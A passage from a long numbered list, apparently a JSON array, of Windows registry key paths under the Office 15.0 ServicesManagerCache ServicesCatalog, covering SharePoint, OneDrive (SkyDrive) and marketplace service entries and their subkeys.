  1371. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\SortOrder",
  1372. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\SupportsMultiple",
  1373. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\CapabilitiesMetadata",
  1374. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Description",
  1375. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Name",
  1376. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceId",
  1377. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\ServiceUrl",
  1378. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata",
  1379. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata\\KeyTip",
  1380. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Metadata\\Type",
  1381. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails",
  1382. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url16x16",
  1383. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url32x32",
  1384. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINT\\Thumbnails\\Url48x48",
  1385. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP",
  1386. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Capabilities",
  1387. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ConnectMechanism",
  1388. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\IsManaged",
  1389. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\IsRemovable",
  1390. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceOwner",
  1391. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\SortOrder",
  1392. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\SupportsMultiple",
  1393. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1394. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Description",
  1395. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Name",
  1396. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceId",
  1397. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\ServiceUrl",
  1398. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata",
  1399. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1400. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Metadata\\Type",
  1401. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails",
  1402. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1403. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1404. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\O365_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1405. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED",
  1406. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Capabilities",
  1407. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ConnectMechanism",
  1408. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\IsManaged",
  1409. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\IsRemovable",
  1410. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceOwner",
  1411. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\SortOrder",
  1412. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\SupportsMultiple",
  1413. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\CapabilitiesMetadata",
  1414. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Description",
  1415. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Name",
  1416. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceId",
  1417. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\ServiceUrl",
  1418. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata",
  1419. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata\\KeyTip",
  1420. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\OFFOPTIN_DOCSTORAGE_LIMITED\\Metadata\\Type",
  1421. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT",
  1422. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Capabilities",
  1423. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ConnectMechanism",
  1424. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\IsManaged",
  1425. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\IsRemovable",
  1426. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceOwner",
  1427. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\SortOrder",
  1428. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\SupportsMultiple",
  1429. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\CapabilitiesMetadata",
  1430. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Description",
  1431. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Name",
  1432. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceId",
  1433. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\ServiceUrl",
  1434. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata",
  1435. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\DefaultFolderRelativePath",
  1436. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\KeyTip",
  1437. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Metadata\\Type",
  1438. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails",
  1439. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url16x16",
  1440. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url32x32",
  1441. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT\\Thumbnails\\Url48x48",
  1442. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP",
  1443. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Capabilities",
  1444. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ConnectMechanism",
  1445. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\IsManaged",
  1446. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\IsRemovable",
  1447. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceOwner",
  1448. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\SortOrder",
  1449. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\SupportsMultiple",
  1450. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\CapabilitiesMetadata",
  1451. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Description",
  1452. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Name",
  1453. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceId",
  1454. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\ServiceUrl",
  1455. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata",
  1456. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata\\KeyTip",
  1457. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Metadata\\Type",
  1458. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails",
  1459. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url16x16",
  1460. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url32x32",
  1461. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINTGROUP\\Thumbnails\\Url48x48",
  1462. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER",
  1463. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Capabilities",
  1464. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ConnectMechanism",
  1465. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\IsManaged",
  1466. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\IsRemovable",
  1467. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceOwner",
  1468. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\SortOrder",
  1469. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\SupportsMultiple",
  1470. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\CapabilitiesMetadata",
  1471. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Description",
  1472. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Name",
  1473. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceId",
  1474. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\ServiceUrl",
  1475. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata",
  1476. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\HideIfEmpty",
  1477. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\KeyTip",
  1478. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Metadata\\Type",
  1479. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails",
  1480. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url16x16",
  1481. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url32x32",
  1482. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\ONPREM_SHAREPOINT_OTHER\\Thumbnails\\Url48x48",
  1483. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE",
  1484. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Capabilities",
  1485. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ConnectMechanism",
  1486. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\IsManaged",
  1487. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\IsRemovable",
  1488. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceOwner",
  1489. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\SortOrder",
  1490. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\SupportsMultiple",
  1491. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\CapabilitiesMetadata",
  1492. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Description",
  1493. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Name",
  1494. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceId",
  1495. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\ServiceUrl",
  1496. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata",
  1497. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\DefaultCreateRelativePath",
  1498. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\DefaultFolderRelativePath",
  1499. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\KeyTip",
  1500. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\RegularExpression",
  1501. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Metadata\\Type",
  1502. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails",
  1503. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url16x16",
  1504. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url32x32",
  1505. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLINBOX_SKYDRIVE\\Thumbnails\\Url48x48",
  1506. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT",
  1507. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Capabilities",
  1508. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ConnectMechanism",
  1509. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\IsManaged",
  1510. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\IsRemovable",
  1511. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceOwner",
  1512. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\SortOrder",
  1513. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\SupportsMultiple",
  1514. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Description",
  1515. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Name",
  1516. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceId",
  1517. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\ServiceUrl",
  1518. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails",
  1519. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url16x16",
  1520. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url32x32",
  1521. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_CONNECT\\Thumbnails\\Url48x48",
  1522. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE",
  1523. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Capabilities",
  1524. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ConnectMechanism",
  1525. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\IsManaged",
  1526. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\IsRemovable",
  1527. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceOwner",
  1528. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\SortOrder",
  1529. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\SupportsMultiple",
  1530. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Description",
  1531. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\Name",
  1532. "HKEY_CURRENT_USER\\Software\\Microsoft\\Office\\15.0\\Common\\ServicesManagerCache\\ServicesCatalog\\WLMOUNTED_MARKETPLACE\\ServiceId",
